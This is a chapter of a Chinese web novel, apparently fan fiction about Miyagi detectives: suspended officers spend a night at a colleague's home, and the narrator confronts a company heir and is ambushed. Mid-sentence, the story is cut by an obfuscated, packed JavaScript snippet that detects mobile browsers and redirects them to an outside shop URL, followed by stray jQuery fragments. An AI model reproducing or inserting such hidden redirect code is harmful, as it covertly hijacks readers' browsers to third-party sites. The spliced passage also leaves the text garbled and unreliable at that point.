22. 12B上(2)

作品:《宫城县警局工作实录

    旭前辈的语气中夹杂着深不可测的怀念和哀伤,如果不听内容,仿佛发生在副队身上的种种不过是类似三流悬疑小说里写的桥段——充满故弄玄虚之嫌的平平无奇。


    我和西谷一时之间都很沉默,因为可以想见,副队的昨天很可能就是我和西谷的明天。


    “谁都不想发生这种事,”旭前辈端走了我面前已经凉透的咖啡,馥郁的花香逐渐凋零消散,他也没对我太过苛责,“今天好好睡一觉,相信队长他们。”


    我嘴比脑子快:“那我们可以在前辈家留宿一天吗?”


    不论如何,我比副队幸运的一点,我还有西谷和旭前辈。


    从人性软弱的角度上来说,在这种脑顶上悬着达摩克利斯之剑的时刻,我更希望和熟悉且安全的人待在一起。


    旭前辈愣了一下,下意识看向西谷。


    从余光里我看见西谷在裤子上抹了一把手上的水,他笑得有点牵强:“是啊,哈哈。”


    我偏过头看了西谷一眼,错过了他闪躲着旭前辈目光的神色。心里有点异样,但我选择刻意地忽略它。


    旭前辈家的客卧是传统的榻榻米,招待客人的被褥都在壁橱里。正当我无从下手的时候,西谷从我身后轻轻地“咦”了一声。我闻声转头,西谷拍了拍放在最上面的两床被子:“应、应该就是这俩吧。”


    我把被子抱出来,西谷正靠在墙边对着手机敲敲打打。我一边展开被子,一边状似无意地问:“你之前经常来旭前辈家借宿?”


    西谷咬了咬嘴唇上死皮,纠结了一阵,模棱两可地说:“来过两次。”


    “你跟我没有半句实话,”我半真半假,“真让人难过。”


    实话说,我和同事们的感情非常纯粹,占比百分百的革命友谊,但我对身边同事之间的爱恨情仇接受度非常良好,甚至喜闻乐见。


    现下以我多年浸淫狗血电视剧的敏锐嗅觉来说,这俩人的眉眼官司绝对不简单。


    西谷盯了我好一会,突然咧嘴一笑:“缘下你真是……”他没有继续说下去,“也没有什么,有些时候下班之后去喝大酒,之后就会被旭前辈捡回家。”


    这话几分真我不确定,但总之应该不超过百分之四十。


    旭前辈贴心地给我们拿了电暖气,不然这个朝北的客房温度低得让人感觉非常保鲜。我和西谷一左一右镇守着电暖气,充分利用着屋子里每一点热气。


    我像在家里一样把外套盖在被子上,迷迷糊糊的时候听见西谷的声音幽幽传来:“缘下?”


    我应了一声。


    “如果说——我是说如果,”西谷翻了个身,面对着我这边,“要是不做警察,你打算干嘛?”


    我脑子一下子清醒了,千军万马奔到嘴边,反倒都塞住了,呆呆地“啊?”了一声。


    “我想去环游世界。”


    千军万马少了一半,只剩下万马奔腾。


    西谷已经彻底沉浸在他辞职之后的美好幻想里:“我相中意大利很久了,火辣辣的阳光、暖洋洋的海水、波光粼粼的鱼获,出海之后我可以用卫星电话联系你,给你发比基尼美女的……”


    原本提起来的心放了下来,我打断他不着边际的话:“如果你的辞职手续能办半年的话,你也许才能马上感受到温暖的海水。”


    西谷在黑暗里扭头看我,眨了眨大眼睛:“啊?现在没有吗?”


    “你说的可能是澳大利亚,我亲爱的朋友,”我不解风情,“再说你这几年存钱了么?”


    别人或许我不了解,但是西谷,绝对是我们这群人的最忠实的月光族。


    西谷没了响应,翻身都带着一点憋屈和愤怒。


    第二天我是被旭前辈的早餐香味叫醒的。刑警的睡眠是液体,可能流淌到任何没有案子和要紧事的时间里。我披着外套起身,发现西谷还在睡,蹑手蹑脚地出了门,旭前辈还在厨房里背对着我忙着忙那。


    我突然想起西谷昨天非常随意的谎话。


    心不在焉地洗漱完,旭前辈正端着一大碗煮得稀烂的米粥出来。


    “早啊。”他带着隔热手套,圆滚滚的,好像电影里颇擅厨艺的豹警官。


    “早,”我把挽上去的外套袖子褪下来,“有什么需要我帮忙的吗?”


    旭前辈连忙摇头,拿好了餐具就拉上了厨房的门:“不用不用,我们先吃,不等西谷。”


    “哦哦——”我被旭前辈安排得明明白白,坐在桌前手里就被塞了个白瓷勺子,“西谷总是起得很晚吗?”


    “他有点睡眠障碍,入睡很慢。”旭前辈小心翼翼地撕开一颗溏心蛋的包装,把蛋挤进白粥里,“所以有的时候就去喝酒,但你也知道,没啥大用。”


    “那让他睡吧,”我接话很快,“没准还能长长个。”


    旭前辈闷闷地笑起来。


    停职了就不必去队里了,吃过饭我就回了家。


    没准昨天旭前辈收留我们,也是因为和西谷私交甚笃,而我只是被捆绑销售的小赠品——但是那又怎么样,反正集体宿舍睡了,爱心早餐也吃了,我心里也没那么难受了。


    想开了之后,我决定回家好好追平我的电视剧。


    但是不知道是因为编剧也被停职了还是怎么,剧情极限反转,一集里塞满了车祸失忆白血病,烂尾得彻彻底底。我像是个空巢老人一样关掉电视怅然若失,歪在沙发上闭目养神。


    思绪兜兜转转,最终又绕到走漏消息的案子上。


    真是天生的牛马,我如是唾弃我自己。


    排除我和西谷是内鬼的可能,查案的思路似乎只能从跟踪我们的车入手。不过他只是远远跟着我们,似乎只是为了确定警方带走了工藤明光。我在心里面盘算出了两个人——


    工藤信鸣和秋山杏子。


    前者是利益相关的塑料兄弟,后者是……


    我皱了皱眉,这个生死不明的秋山杏子似乎嫌疑更大。


    秋山泽是被家人关起来才会被工藤明光引诱,冒险跳窗。不论是根据工藤明光的口供,还是邻居的间接证据,似乎都指向这位


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119729|149845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    棒打鸳鸯的“大恶人”就是秋山杏子。从她之前的所作所为,不难看出这是个睚眦必报的人,同时还很有势力。如果说她想借工藤明光被捕的消息把整个工藤家拖下水,也说得通。


    我从未觉得家里如此冷清过,把屋子里里外外打扫过一遍之后,终于忍无可忍地给田中发消息:进展怎么样?


    田中那边回得很快:没啥进展。


    我大吃一瘪,转头又给西谷发:醒了吗?


    坐以待毙的滋味实在不好受,要是这期间再让谁泼一瓢脏水,我和西谷工作不保不说,整个支队都得跟着抬不起头。


    西谷半天没动静,我咬咬牙,穿上外套直奔工藤信鸣的办公楼。警官证揣在里怀兜——虽然暂时这玩意没什么效力了,但拿来吓唬吓唬人还是有用的。


    如果队里没有内鬼的话。


    我坐在出租车里,看着快速倒退的街景如是想着。


    临下车的时候,我又看了一眼工藤服饰的股票,依旧是非常健康的颜色。


    一楼的前台小姐已经不像上一次来的时候那么体面,临近中午,正在接待台后面偷偷吃着便当。见我进来,用手掩着狠命嚼了几口,才扬起微笑送我上楼。


    工藤信鸣依旧是牛舔头,坐在宽大的老板椅上撩起眼皮看我:“警官,你们言而无信了。”他的神情肉眼可见的疲惫,黑眼圈要掉到下巴上去了。


    “关于令司股价的事情我很抱歉,”我拉开椅子施施然坐下,“可近日来周边治安很不错。”


    他死死攥着手里的钢笔,闪亮亮的合金笔身快要被他捏变形了。


    我在心里几乎排除了这位心里只有家族企业的冤种大公子。


    “工藤明光实际上喜欢的是秋山杏子——”我盯着桌对面的人,“这个,你应该知道吧。”


    在人精堆里讨饭吃的商业精英眉头不受控地跳了一下:“那是谁?”


    我摆出一副很是从容的样子:“他的灵感缪斯。”


    “这关我什么事?”工藤信鸣话里的刺和他弟弟真是如出一辙,“我是商人,又不是艺术家。”


    我决定再最后试一次:“看起来工藤家要开明很多啊,对晚辈的私生活都不大上心。”


    “是啊,他又不是什么关键人物,况且他已经残废了——”他猛然打住话头,掩饰一般合上面前的文件夹。


    我心下了然地点点头:“工藤先生,你真的是个很好的商人,混淆视听玩得很不错。”


    “现在工藤明光的私生活当然不足为奇了,但是四个月前秋山杏子找到你的时候,你可是很兴奋的吧。”


    工藤信鸣手一抖,钢笔沿着滑溜溜的文件夹掉到地上。


    队里负责监听的人应该都听到了。


    我好整以暇地坐在原地,等待着田中或者成田闯进来。


    但让我没想到的是,迎接我的是工藤信鸣突然从抽屉里拿出来的迷药喷雾和从天而降的榔头麻袋。


    我再次为我的轻敌付出了惨痛的代价。


    这很不好。